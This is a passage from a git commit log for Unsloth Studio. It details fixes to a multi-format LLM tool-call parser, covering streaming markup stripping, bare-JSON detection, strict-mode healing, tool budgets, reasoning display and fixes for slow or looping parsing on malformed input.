<|python_tag|> mention is left untouched. * Tighten tool-call parser comments --------- Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com> Co-authored-by: danielhanchen <michaelhan2050@gmail.com> Co-authored-by: Daniel Han <info@unsloth.ai> Co-authored-by: danielhanchen <danielhanchen@users.noreply.github.com>	2026-07-06 15:40:46 -07:00
Daniel Han	f0a5c52821	studio: tool calling + healing parity for Llama-3, Mistral, Gemma 4 on safetensors + MLX (#5620) ... * studio: tool calling for Llama-3, Mistral, Gemma 4 on safetensors + MLX (#5615) Adds tool calling for Llama-3, Mistral (pre-v11 + v11+ + [ARGS]), and Gemma 4 to the safetensors / transformers and MLX backends. Parser patched against llama.cpp / vLLM / SGLang per-family parsers and normalises to OpenAI shape. 96 targeted unit tests + cross-OS staging CI (ubuntu / macos-14 / windows) green on the multi-format probe. * studio: tool-call healing parity between safetensors / MLX and GGUF After the multi-format parser landed in #5615, the safetensors / MLX agentic loop and the GGUF loop still differed on healing behaviour. This commit closes the gaps in both directions so the two backends react the same way to identical model output. Changes: 1. core/inference/llama_cpp.py -- the GGUF BUFFERING state machine now wakes on every emission marker the shared parser knows. Was ("<tool_call>", "<function="); is now the five-tuple imported from core.inference.tool_call_parser (Qwen / Qwen3.5 / Llama-3 <|python_tag|> / Mistral [TOOL_CALLS] / Gemma 4 <|tool_call>). Stream cleanup is delegated to the same shared strip_tool_markup so leaked markup from any family is removed from assistant content. 2. core/inference/llama_cpp.py -- per-tool canonical heal key. When a tool arguments field is a bare string and JSON parsing fails, the GGUF path now heals to {"code": raw_args} for python, {"command": raw_args} for terminal, and {"query": raw_args} for everything else. Was hard-coded to {"query": raw_args}, which silently routed every python / terminal emission through web_search. Mirrors safetensors_agentic._CANONICAL_HEAL_ARG. 3. core/inference/safetensors_agentic.py -- re-prompt on plan- without-action. When the model emits a short forward-looking intent ("I'll search for that", "Let me check", "First, I will...") and no tool call, the loop nudges the model to act instead of silently returning a plan-only answer. Up to _MAX_REPROMPTS=3 (matches GGUF). The intent regex, character cap, and instruction text are byte-identical to the GGUF path. The buffer-end fall-through is unified so a buffered intent emission that never exits the BUFFERING state still triggers the re-prompt. 4. core/inference/safetensors_agentic.py -- extra iteration slots for re-prompts. The loop now budgets max_tool_iterations + _MAX_REPROMPTS + 1 total iterations and tracks the tool-call count separately, so a stalling model can be nudged 3x without eating the caller's tool-call budget. Mirrors the _extra slot reservation in the GGUF path. Tests (14 new safetensors-side units; 5 GGUF parity pins): TestLoopRePrompt -- intent-trigger, plain-answer, no-tools, cap-at-three, budget preserved, buffer-end intent. TestLoopCanonicalHealKey -- python / terminal / unknown. TestGGUFSafetensorsHealingParity -- shared markers used, shared strip used, canonical heal keys identical, intent regex matches same phrases, _MAX_REPROMPTS equal on both backends. All 110 targeted tests pass locally; the broader tool / inference / model-config / sandbox / anthropic / mlx suites stay green. Why this matters Without this parity, Llama-3.2 / Mistral / Gemma 4 emissions on Mac (MLX) and Linux-safetensors stop the agentic loop as soon as the model says "Let me...", because the GGUF re-prompt logic never existed on these backends. The two-marker GGUF BUFFERING tuple also let non-Qwen tool emissions stream out as plain prose when llama-server's structured channel did not pick them up. Both paths now drain the same way, heal the same way, and re-prompt the same way -- so a tool call that works on GGUF works identically on safetensors / MLX. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * studio: fix tool-call parser bugs from gemini review on #5620 Three high-priority gemini findings on the tool-call parsing additions: 1. unicode_escape on UTF-8 bytes corrupts non-ASCII literals (e.g. ✨ becomes â\x9c¨). Replace with json.loads on a quoted string -- preserves emoji / CJK / RTL while still handling \n \t \uXXXX escapes. 2. Llama-3 sentinel stripping is order-dependent. A leading `<|eot_id|><|begin_of_text|>` left `<|begin_of_text|>` behind because the loop had already passed that sentinel. Loop until no sentinel matches at the start. 3. Mistral v11+ `[TOOL_CALLS] name { json }` regex uses non-greedy `\{.*?\}` which truncates at the first `}` of a nested JSON argument, leaking the tail (e.g. `}}`) into user-visible streamed text. Same problem for the v0.3 array pattern with nested brackets. Strip those with balanced brace/bracket scanning via a new `_strip_mistral_closed_calls` helper called from `strip_tool_markup`. Also fix the inference routes' parallel `_TOOL_XML_RE`: - Same nested-JSON truncation in the Mistral patterns; route the strip through the parser's balanced-scan helper via a thin `_strip_tool_xml` wrapper that all existing callers now use. - Llama-3 `<|python_tag|>[^\n<]*` stopped at any `<`, leaking the tail of any tool call whose argument contained a literal `<` (queries, code snippets). Relax to `[^\n]*` which keeps the strip confined to the actual end-of-line. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * studio/routes: make python_tag strip multi-line aware Earlier revisions of _TOOL_XML_RE in studio.backend.routes.inference oscillated between two bug shapes: 5615 r"<\|python_tag\|>[^\n<]*" -- stopped at any literal "<" so code='if x < 10: pass' leaked '< 10: pass)' to the user. 5620.1 r"<\|python_tag\|>[^\n]*" -- single-line only; the second line of python.call(code="a\nb") leaked. The full parser (_parse_llama3_python_tag) already handles both via balanced-brace scanning, so the parsing path was fine; the LEAK was in the streaming strip path that runs on every cumulative emission while content is still arriving. Switch to r"<\|python_tag\|>(?:[^<]|<(?!\|))*" so the strip consumes: * any character that is not a "<" (newlines, JSON, code, ...), * a "<" only when it is NOT followed by "|" (i.e. NOT a Llama-3 sentinel start like <|eot_id|>, <|eom_id|>, <|begin_of_text|>). This means: * code='if x < 10' stays inside the strip (5615 fix preserved), * multi-line code stays inside the strip (5620 round 2), * the strip terminates at the next Llama-3 sentinel so trailing assistant content survives. Tests: TestRoutesPythonTagStrip (8 cases) pytest test_safetensors_tool_loop.py test_safetensors_capability_advertise.py -> 118 passed in 1.81s (was 110). * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * studio: tighten verbose comments in tool-call parser sections Comments were narrating what the code already says. Cut historical "earlier revisions used X, then Y" narratives down to one-line WHY notes where the footgun still matters (canonical heal-key parity, balanced-brace vs non-greedy regex, ``(?:[^<]|<(?!\|))*`` over ``[^\n<]*``/``[^\n]*``). Drop section-header banners. No behaviour change. Re-ran: pytest studio/backend/tests/test_safetensors_tool_loop.py \ studio/backend/tests/test_safetensors_capability_advertise.py -q -> 118 passed. Regression replay (parser + _coerce_arguments on the 5 #5615 inputs) -> 21/21. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * studio: parser robustness fixes for PR #5620 Three surgical extensions to the multi-format tool-call parser, each covering a real fine-tune / template emission shape that the current parser silently drops. No path narrows; all changes widen what is accepted. 1. `_parse_tool_call_json` now accepts both `arguments` and `parameters` keys. A Hermes / Qwen `<tool_call>{json}</tool_call>` wrapper around a Llama-3.2 fine-tune that emits the `parameters` key was extracting the tool name and silently discarding the args, producing a working-shaped call with an empty payload. The bare-JSON and python_tag paths already accepted both keys; this path now matches them. 2. `_TC_FUNC_START_RE`, `_TC_PARAM_START_RE`, and `_TC_PARAM_CLOSE_RE` now also match the attribute form `<function name="..."><param name="...">v</param></function>` used by MiniCPM-5 and MiniMax-M2. Names land in either capture group, and `</param>` is accepted as a short close. 3. `_parse_llama3_bare_json` sentinel-strip now consumes the role label inserted between `<|start_header_id|>` and `<|end_header_id|>` by Meta's official Llama-3.x chat template. Without this, every assistant turn re-fed through the template prefix `<|start_header_id|>assistant<|end_header_id|>\n\n{json}` parsed to zero calls, so any history-with-tool-call round-trip in production silently dropped. Tests in `studio/backend/tests/test_safetensors_tool_loop.py`: * `TestParserRobustness::test_tool_call_json_accepts_parameters_key` * `TestParserRobustness::test_function_xml_attribute_form` * `TestParserRobustness::test_function_xml_attribute_form_multi_param` * `TestParserRobustness::test_function_xml_legacy_equals_form_still_works` (regression guard for the existing `<function=name>` syntax) * `TestParserRobustness::test_llama3_chat_template_round_trip` * `TestParserRobustness::test_llama3_round_trip_all_roles` * `TestParserRobustness::test_llama3_round_trip_with_eot_prefix` `pytest studio/backend/tests/test_safetensors_tool_loop.py studio/backend/tests/test_safetensors_capability_advertise.py -q` goes from 118 to 125 passed. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * studio: terminate function-XML body at </function>, not just </tool_call> `_parse_function_xml` was looking for `</tool_call>` (the Hermes wrapper) as the body terminator. When a model emits a standalone `<function=NAME><parameter=K>v</parameter></function>` followed by explanatory prose (which models routinely do), no `</tool_call>` is present, so the body extended to end-of-string and the trailing prose leaked into the LAST parameter value. Pre-existing on main (the legacy `<function=NAME>` form had this bug too). Same affects PR #5620's new attribute-form `<function name="NAME"><param name="K">v</param></function>` emission used by MiniCPM-5 / MiniMax-M2. Fix: `_TC_END_TAG_RE` now matches either `</tool_call>` OR `</function>`. The existing `_TC_FUNC_CLOSE_RE` / `_TC_PARAM_CLOSE_RE` strips are unchanged. Multi-call inputs still bound each function at the next `<function=` start, so no over-eager consumption. New tests: * `test_function_xml_followed_by_prose` (legacy form + prose) * `test_function_attribute_xml_followed_by_prose` (attribute form + prose) Existing `test_code_with_embedded_xml` still passes (a parameter value containing literal `<a></a>` is preserved because the embedded close tag is `</a>`, not `</function>`). `pytest studio/backend/tests/test_safetensors_tool_loop.py studio/backend/tests/test_safetensors_capability_advertise.py -q` goes from 125 to 127 passed. * Studio: tighten Llama-3.2 bare-JSON guard A fuzz pass on PR #5811 turned up that ``_parse_llama3_bare_json`` accepted ``parameters`` as a string, contradicting the docstring's "parameters or arguments is a dict" guard. Prose JSON like ``{"name":"foo","parameters":"a sentence"}`` would wrongly fire the parser, which the agentic loop would then heal into a real ``foo(query="a sentence")`` call. Same code lives on this branch, so the same fix applies here. Tightened guard: - ``parameters`` must be a dict (Llama-3 spec). - ``arguments`` may be a dict, or a JSON-encoded string that decodes to a dict (OpenAI shape, e.g. ``"arguments":"{\"q\":\"x\"}"``). Plain non-JSON strings or JSON-strings of lists / scalars / null no longer pass. Mirrors the fix landed in PR #5811 commit 615b8608. Adds the same 4 regression tests under TestParserMultiFormat. Existing test suite stays green: 127 -> 131 passing. * studio: fix safetensors tool-call parser gaps vs llama.cpp (Mistral CALL_ID / THINK, attribute-form signal) Three GGUF-parity fixes to the safetensors tool-call parser, each matching llama.cpp's reference behaviour: - Mistral Small 3.2 emits [TOOL_CALLS]name[CALL_ID]<id>[ARGS]{json}. The parser stopped after the name on seeing [CALL_ID] (neither [ARGS] nor {), dropping the call. Skip an optional [CALL_ID]<id> segment in both the parse and strip paths. llama.cpp parses this (test-chat.cpp:4785). - Magistral wraps reasoning in [THINK]...[/THINK]. A [TOOL_CALLS] inside the reasoning was parsed as a real call, producing a phantom call. Strip a leading [THINK] block before scanning so only the post-reasoning call counts (test-chat.cpp:2285); a literal [THINK] inside a later argument is left intact. - The standalone MiniCPM-5 / MiniMax-M2 <function name="..."> attribute form parsed correctly but was absent from TOOL_XML_SIGNALS and the markup strip patterns, so the streaming safety-net parse was gated off (dropping the call) and markup leaked into displayed text. Add the signal and broaden the strip regexes. Adds regression tests for all three. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * studio: fire safetensors tool calls for the bare-JSON (Llama-3.2) form The agentic loop's streaming safety-net parse was gated on has_tool_signal(), which is False for the Llama-3.1 / 3.2 bare-JSON tool form {"name":..,"parameters":..} (no XML marker). Real tool calls were therefore dropped: the loop logged "model planned without calling tools", re-prompted three times, then gave up with zero tool calls, while GGUF's llama-server parses the same emission natively. Run parse_tool_calls_from_text() unconditionally in the safety net. The parser is strict (only fires on a valid tool-call shape) so plain answers are unaffected. Reproduced on a real unsloth/Llama-3.1-8B-Instruct run: the model emits {"name":"web_search","parameters":{...}} which now executes the tool instead of being re-prompted into a no-op. Adds a loop regression test for the bare-JSON form. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio: complete strict-mode contract and fix parser import paths Address review findings on the multi-format tool-call parser: - Honor allow_incomplete=False in the remaining sub-parsers. The Llama-3 <|python_tag|>NAME.call(...) parser, the pre-v11 Mistral [TOOL_CALLS] array parser, and the Gemma 4 <|tool_call> parser ignored strict mode, so a truncated call (missing closing paren, ], or <tool_call|>) was still healed and executed with Auto-Heal disabled. Thread strictness through and reject the unclosed forms, matching the JSON and function-XML paths. - Drop the duplicate tool_call_parser import block in llama_cpp.py and the redundant un-aliased TOOL_XML_SIGNALS; only the _SHARED_TOOL_XML_SIGNALS alias is used as a value. - Import _strip_mistral_closed_calls from core.inference.tool_call_parser in routes/inference.py instead of studio.backend.core... The self-contained run.py launch mode only puts studio/backend on sys.path, so the absolute package path raised ModuleNotFoundError on the server-tool strip path. Add strict-mode regression tests for the truncated Llama-3 dot-call and the unclosed Mistral array. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio: preserve XML param indentation and alias Mistral array parameters Two parser-correctness fixes found by auditing against the model chat templates and the SGLang / vLLM reference parsers: - Qwen3.5 XML parameter values lost their leading indentation. The chat template emits <parameter=k>\nVALUE\n</parameter>, but the parameter-start regex ate the wrapping newline AND the value's first-line indentation with a trailing \s*, then str.strip() removed the rest. Narrow the trailing class to horizontal whitespace only and trim exactly one wrapping newline (via _trim_param_value), preserving indentation in code/diff arguments. Matches SGLang's qwen3_coder detector. Applies to both _parse_function_xml (tool_call_parser.py) and the XML path in tool_healing.py. - Mistral pre-v11 array objects keyed on parameters dropped their payload. _consume_mistral_call read only the arguments key; alias parameters the same way the JSON/XML paths and SGLang's base detector do. Add regression tests for preserved multi-line indentation and the array parameters alias. * Studio: tighten tool-call parser comments Make the comments in the multi-format tool-call parser and its callers succinct: compress verbose docstrings/blocks to one or two lines, drop ones that restate the code, and trim the tiny balanced-scanner helpers. Correctness rationale and upstream provenance (SGLang/llama.cpp parity, the strict-mode / Auto-Heal contract, whitespace-preservation, and the Unicode / full-width-pipe notes) are kept in compact form. Comment-only: no code or behavior change (verified with comment_tools.py check --strip-docstrings; parser suite green). * Studio: make Llama-3 .call and Mistral-array healing parsing linear Two more O(n^2) ReDoS paths in the multi-format parser, both reachable from the agentic loop on a long truncated body with no length cap: - _LLAMA3_KV_RE.finditer over a .call(...) body retried at every offset of a long word run / unterminated quote (40K -> 14s). Replace with a hand-scan that reuses the same key/number/literal sub-regexes via anchored match and walks the string body by hand, so an unterminated quote is O(n). Verified byte-identical to the old regex over 200K fuzzed inputs. - _parse_mistral_array healing ran _balanced_brace_end from every { in the body (20K -> 17s). Walk top-level objects, advancing past each balanced {...}; this also drops the phantom call the old scan emitted from a nested argument object. Add adversarial-length linearity regressions plus positive .call kwargs and unclosed-array recovery coverage. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio: honor strict mode in safety-net, keep empty Gemma args, strip attribute-form function XML - safetensors safety-net parser now forwards allow_incomplete=auto_heal_tool_calls, matching the draining path, so a late incomplete tool call is not healed and executed when Auto-Heal is off. - Gemma empty bare value ({k:}) now serialises as "" instead of invalid {"k":}, which previously dropped the whole call. - Route _TOOL_XML_RE also strips the <function name="..."> attribute form (MiniCPM-5 / MiniMax-M2) so it no longer leaks to the UI. * Studio: fix attribute-form function-XML literal close tag and zero-arg strict call Addresses Codex review of the <function name="..."> attribute form in _parse_function_xml (MiniCPM-5 / MiniMax-M2): - End the call body at the LAST </function> / </tool_call> within the call's window, so a literal close tag inside a code/search argument (e.g. print("</function>")) is preserved instead of truncating the call. - Accept a closed call with no parameters as a valid zero-argument call in strict mode (the function close is already required), instead of rejecting it as a truncated call. - Tests for both, mirroring the legacy <function=...> coverage. * Studio: fix tool-call parser/loop review findings on the multi-format path Address the live code-review findings on the safetensors/MLX + GGUF tool path: - routes: include the attribute form <function name="..."> in the safetensors capability whitelist so MiniCPM-5 / MiniMax-M2 templates keep the tool pill (parser already handles the form; the post-filter wrongly suppressed it). - safetensors loop: build the plan-without-action re-prompt from the active tools instead of a hardcoded web_search/python string, and gate it on auto_heal_tool_calls, matching the GGUF loop. - safetensors loop: hold a leading bare-JSON object ({"name":..,"parameters":..}) during BUFFERING until it closes, then drain it as a tool call instead of streaming the raw JSON to clients. The DRAINING/STREAMING resolvers still recover a plain JSON answer, so this can never drop content. - parser: anchor the Llama-3 <|python_tag|>NAME.call(...) scan to the tag and chain ; -separated calls, so all semicolon-separated built-ins parse and a literal <|python_tag|>x.call(...) inside a JSON string argument no longer fires the wrong tool. - parser: consume the optional trailing </s> after a named Mistral [TOOL_CALLS]name{json} call, mirroring the array shape. - GGUF streaming strip: use the shared parser patterns (which know [TOOL_CALLS] and <|python_tag|>) so a textual tool call entering DRAINING is stripped instead of leaking the marker to streaming clients. - routes: hoist the _strip_mistral_closed_calls import to module level. Adds regression tests covering each fix; existing parser suite stays green. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio: harden multi-format tool-call detection from review findings Apply five targeted fixes from the review pass over the multi-format tool path: - routes: route display strip delegates to _strip_tool_xml so Mistral [TOOL_CALLS] blocks with nested JSON are removed from streamed display text, not just the XML forms. - tool_call_parser: skip function/parameter starts that fall inside an already-open parameter block (_inside_open_parameter) so nested example payloads are not mis-parsed as new calls; extract strip_llama3_leading_sentinels so the bare-JSON guard is shared. - safetensors_agentic: probe bare JSON through strip_llama3_leading_sentinels before the balanced-brace check so a leaked header sentinel does not defeat the guard. - tool_healing: allow dotted tool names in the Gemma wrapped start pattern. - llama_cpp (GGUF): buffer wrapper-less Llama-3.2 {"name":..} calls that carry no XML signal, drain a complete object silently and hold an incomplete one, and run the end-of-stream safety net unconditionally so markerless calls are detected and never leak the raw JSON (including truncated fragments). Adds regression tests for the GGUF bare-JSON streaming path and the Mistral display strip. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio: stop bare-JSON tool calls leaking at EOF, oversized, and into history The second review pass flagged that the Llama-3.2 bare-JSON tool-call handling still leaked raw JSON in several spots; ``strip_tool_markup`` only knows XML/bracket markup, so the bare-JSON form survived it. Fix them symmetrically across the safetensors and GGUF loops: - Safetensors stream-end resolver now routes a held bare-JSON fragment to DRAINING (mirroring GGUF) so a truncated ``{"name":..`` cut off by the end of the stream is dropped instead of flushed as assistant content. The 7/10 reviewer finding. - Both loops now drain (suppress) an oversized still-open bare-JSON call once it passes ``_MAX_BARE_JSON_BUFFER`` instead of streaming the raw prefix, gated on a ``"name"`` key so a giant plain JSON answer still streams; a complete oversized call still executes via the safety net. - Add a shared ``strip_leading_bare_json_call`` helper and apply it to the content kept for the assistant turn in both loops, so an executed bare-JSON call is not replayed as visible text or fed back as next-turn history. Plain JSON answers without a ``"name"`` key are untouched throughout. Adds regression tests for the EOF, oversized, and next-turn cases on both backends plus unit tests for the helper. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio: bound the Llama-3 python_tag strip on real control sentinels The route display strip's <|python_tag|> arm ran to the next <| of any kind. A tool-call argument carrying a literal <|...|> token (for example <|cite|> inside a string value) truncated the strip early and leaked the call tail into the visible response. Narrow the stop condition to the genuine Llama control sentinels (eot_id, eom_id, python_tag, start/end_header_id, begin_of_text, finetune_right_pad_id) so embedded markup and JSON are consumed while real header/turn boundaries still bound the strip. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio: gate markerless bare JSON on enabled tools and close parser/strip asymmetries The Llama-3.2 custom_tools bare-JSON form has no marker, so any JSON object with a name key was read as a tool call. An ordinary JSON answer like {"name":"Alice","parameters":{"age":30}} was misclassified as a call to a disabled tool and dropped from the visible response. Gate the markerless form on the enabled tool names (threaded through parse_tool_calls_from_text and strip_leading_bare_json_call, supplied by both streaming loops): an object whose name is not an enabled tool is ordinary content. The marker-based forms keep their name-agnostic behaviour (an explicit signal is a real call attempt), and unrestricted mode stays ungated. Also fix two parser/strip asymmetries the parser already tolerated: - A literal </function> inside a parameter value (print("</function>")) truncated both the core and route strips at the first close, leaking the tail. Extend the strip to the call's real close (last </function> before the next opener), mirroring the parser, without merging separate calls. - The single-object Mistral [TOOL_CALLS]{...} shape parsed but _strip_mistral_closed_calls left it, leaking the raw object into display. Strip the balanced object while keeping trailing prose, matching the array and name shapes. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio tools: gate GGUF bare-JSON suppression on enabled tools and fix python-tag exponent parsing Pass-4 review follow-ups on the GGUF tool loop and Llama-3 parser: - The GGUF bare-JSON suppression sites still keyed off a raw "name" substring, so an ordinary JSON answer whose name is not an enabled tool was dropped when it was truncated, oversized, or reached the no-tool DRAINING fallback (the parser, helper, and safetensors paths were already gated). All three sites now use the shared enabled-name gate, and a held bare-JSON buffer that turns out not to be an enabled call is shown as the answer instead of dropped at stream end. - The Llama-3 python-tag numeric kwarg regex matched only the mantissa, so scientific notation was truncated to its leading digits (1e-3 parsed as 1) and a tool executed with the wrong value. The regex now accepts exponent and decimal forms, and the int/float classification keys off the exponent too. Adds regression tests for the truncated / oversized disabled-name JSON cases (and a counterpart that a truncated enabled call still does not leak) plus the scientific-notation kwargs. * Studio tools: gate safetensors bare-JSON drain, fix nested-name gate and function-XML strip Pass-4 review follow-ups on the shared parser / safetensors loop: - The safetensors oversized and end-of-stream bare-JSON drain branches keyed off a raw "name" substring, so a large or truncated ordinary JSON answer whose name is not an enabled tool was drained instead of streamed. Both now use the shared enabled-tool-name gate, matching the GGUF path. - strip_leading_bare_json_call matched the first "name" anywhere, so a plain JSON answer with a nested name equal to an enabled tool ({"result":{"name":"web_search"}}) was wrongly suppressed. It now extracts the TOP-LEVEL name only, walking past nested objects/arrays and keeping the text when a top-level value is truncated. - The function-XML display strip used a regex negative-lookahead that stopped at a literal <function=...> opener inside a parameter value and then dropped the rest of the answer to EOF. A scan-based strip mirrors the parser (ignores openers inside an open <parameter> via _inside_open_parameter) and closes each call at its real </function>, so trailing assistant text after such a call survives. Adds regression tests for each. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Tool parsing: 3.9 import safety, disabled-Auto-Heal contract, capability gate Round-2 review follow-ups on the multi-format tool-call parser: - tool_call_parser: add `from __future__ import annotations`. The module is dependency-light by design (external llama-server wrappers import it standalone) and the package targets python >=3.9, where its PEP 604 `int | None` return annotations would raise TypeError on import. - safetensors + GGUF drain fallback: gate the leading bare-JSON strip on auto_heal_tool_calls. With Auto-Heal off, a truncated enabled-name fragment that did not parse now stays visible, matching the XML strip in the same branch and the disabled-Auto-Heal contract. With Auto-Heal on it is still suppressed. - safetensors capability gate: match the bare-JSON `{"name":` template marker with a whitespace/escape-tolerant regex so a pretty-printed `{ "name" :` or JSON-escaped `{\"name\":` template is not mis-classified as tool-less. The parser already accepts that whitespace via raw_decode, so the gate must too. Regression tests added for each case. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Tool parsing: symmetric "function" bare-JSON alias and route strip parity Round-3 review follow-ups, all parser/strip symmetry fixes. - Bare-JSON "function" alias: the markerless parser accepts a call name via obj.get("name") or obj.get("function"), but the strip/gates only knew "name", so a {"function":<enabled tool>} call executed while its raw JSON leaked. Teach _top_level_bare_json_name the alias (with "name" precedence and the same nested and truncated-name guards), and widen the guards in strip_leading_bare_json_call, the safetensors and GGUF _looks_like_enabled_bare_json gates, and the route capability marker regex. - Route display/history cleanup: strip a tail-only </param> alias close (the parser accepts <param name="...">...</param>), and run the parser's guarded function-XML scan (_inside_open_parameter) before _TOOL_XML_RE so a literal nested <function=...></function> inside an argument value does not truncate the strip and leak the tail. Regression tests added for each. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio tools: honor tool budget in GGUF loop and guard function-XML streaming strip Round 4 review fixes. Both are asymmetric-fix bugs where the final/steady path got a guard the analogous streaming/loop path did not. - GGUF tool-call budget: the safetensors loop counts real tool-call turns against max_tool_iterations (re-prompt stalls excepted), but the GGUF loop only bounded the turn count by the enlarged range (max_tool_iterations + _MAX_REPROMPTS). Since this PR raised _MAX_REPROMPTS from 1 to 3, a model that keeps making valid tool calls could run up to three extra tool rounds (with max_tool_iterations=1, four rounds instead of one). Add a _tool_iters_done counter that increments only when a tool actually executed in the turn, and stop once the caller's budget is spent so the post-loop final-answer nudge fires. A duplicate/disabled no-op turn is a correction turn (like a plan-without-action re-prompt) and does not consume budget, preserving the existing "already completed" re-prompt behavior. - Streaming display strip: the final strip runs the guarded _strip_function_xml_calls scanner (a literal <function=...> inside a parameter value is data, not a nested call), but the GGUF and safetensors streaming strips still used only the open-ended regex arms. When a tool-call argument contained literal function markup, the regex tail ate everything to end-of-text and dropped the real trailing prose after the call's true </function>. Run the guarded scanner (and the balanced Mistral strip) before the regex arms in both streaming paths so streaming and final display agree. Adds regression tests: GGUF valid tool calls respect max_tool_iterations, and the streaming strip keeps trailing prose after a function-XML call with a literal marker. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio tools: safetensors tool budget counts only executed turns (GGUF parity) Follow-up to the GGUF budget fix. The safetensors loop charged max_tool_iterations per non-re-prompt iteration (iteration + 1 - reprompt_count), so a duplicate/disabled no-op turn spent a budget slot even though no tool ran. With a small cap this dropped real work: for max_tool_iterations=2, a model that made a valid call, repeated it (an internal no-op correction turn), then made a distinct valid call executed only the first -- the third turn was sent with no tools and the distinct call was ignored. Track whether a turn actually executed a tool (set on record_result) and count only those turns against the cap, matching the GGUF loop. A duplicate/disabled no-op is a correction turn -- like a plan-without-action re-prompt -- and no longer consumes budget, so the model still gets its "already completed" nudge and another tool-enabled turn. Adds a regression test for the small-cap duplicate-then-distinct-call flow. * Studio: render the reasoning block for safetensors and MLX like GGUF enable_thinking chat templates (Qwen3/Qwen3.5/GLM) prefill an unclosed <think> into the generation prompt, so the model emits only the closing </think> then the answer. The safetensors/MLX chat stream emitted that as plain content, so the reasoning showed inline with no collapsible thinking block, while GGUF (which surfaces reasoning via reasoning_content) rendered one. This brings safetensors and MLX to parity. - _ResponsesReasoningExtractor gains a reasoning_prefilled mode that starts inside the reasoning block and splits on the first </think>; default False keeps GGUF and every existing caller byte-identical. It suppresses a stray re-emitted <think> and holds partial markers back across chunk boundaries. - _sf_reasoning_prefill_mode gates the mode on reasoning being enabled for the request, an enable_thinking or enable_thinking_effort style, and the template actually using the standard <think>/</think> markers. Models with a bespoke reasoning channel (e.g. gemma's <|think|>/<|channel>) are excluded so their answer is never swallowed; gpt-oss (Harmony) and thinking-off requests are excluded too. - sf_tool_stream and stream_chunks (the latter also serves MLX) feed text through the extractor, emitting reasoning_content then content deltas, with a per-turn reset in the tool loop and a flush before each tool_start; only the visible delta reaches the monitor reply. The two non-streaming drains split reasoning_content the same way. - Tests: extractor prefilled mode (streaming and edge cases), the gate matrix including the gemma-style exclusion, and a route-replay of the tool-loop reasoning stream. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * studio: don't force a tool re-prompt on a negated intent (safetensors parity) The safetensors _INTENT_SIGNAL claimed to mirror GGUF but was missing the negative lookahead, so a refusal like "I will not search the web for that" matched the "i will" intent and triggered the plan-without-action re-prompt (STOP... you MUST call a tool), overriding a valid no-tool answer. GGUF already excludes not/never. Add the same (?!\s+(?:not|never)\b) lookahead so both backends agree. Extends the intent parity test with negated refusals. * Studio: trim redundant comments (comment-only, AST-verified) * Studio: prevent Gemma tool-parser DoS on stray delimiters _gemma_parse_value returned the input index unchanged when text[i] was a stray delimiter (,}]), so the list and mapping caller loops that advance on the returned index spun forever at 100% CPU on malformed input such as [},]. Advance past the delimiter so parsing always terminates. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio: strip Magistral [THINK] reasoning from final display/history strip_tool_markup removed [TOOL_CALLS] and <function> markup but left a leading Magistral [THINK]...[/THINK] block intact, so its bracket-form reasoning (not the <think> the reasoning channel renders) leaked into the safetensors display and conversation history while GGUF/llama.cpp routes it natively. Drop the leading reasoning block at end-of-turn (final=True) via the existing _strip_mistral_reasoning helper; streaming is untouched. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Honor reasoning_effort none in safetensors prefill; strip Magistral reasoning while streaming Two safetensors/MLX reasoning fixes surfaced in review: _sf_reasoning_prefill_mode only checked enable_thinking, so an enable_thinking_effort (GLM-5.2) request that disables thinking via reasoning_effort=none (without enable_thinking=False) still began in prefilled-<think> mode. A plain answer with no </think> was then swallowed whole into reasoning_content and the visible response came back empty. Thread reasoning_effort into the predicate and treat none as disabled, mirroring _request_reasoning_kwargs. strip_tool_markup_streaming stripped tool markup but not the leading Magistral [THINK]...[/THINK] bracket block, so the raw chain-of-thought leaked into the streamed safetensors content instead of the reasoning drawer (GGUF routes it natively). Apply _strip_mistral_reasoning first, matching the final strip; an unclosed [THINK] is held from the marker on so nothing flickers. * Mistral outer call wins over XML literals; align healer signals with its parser Two follow-ups on the shared-parser ordering after the healing-passthrough merge: - A well-formed [TOOL_CALLS] call whose JSON arguments quote tool XML parsed the literal instead of the outer call (executing the wrong tool). When the first XML signal sits inside a leading balanced Mistral body it is argument data, so the Mistral parser now runs first; an XML signal before the trigger keeps the normal order, so a [TOOL_CALLS] literal inside an XML call's arguments still stays data. - passthrough_healing buffered streams on the parser module's broadened signal list (now including <|python_tag|> and [TOOL_CALLS]) but promotes with core.tool_healing, which does not parse those forms: a streamed Mistral or Llama text call was held until finalization and flushed as prose. The healer keeps its own signal list limited to the formats it can promote, restoring immediate streaming for the rest. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Address review: leading envelopes win over rehearsed literals - New _first_foreign_tool_signal shared by the leading-envelope guards adds <|python_tag|> to the protected 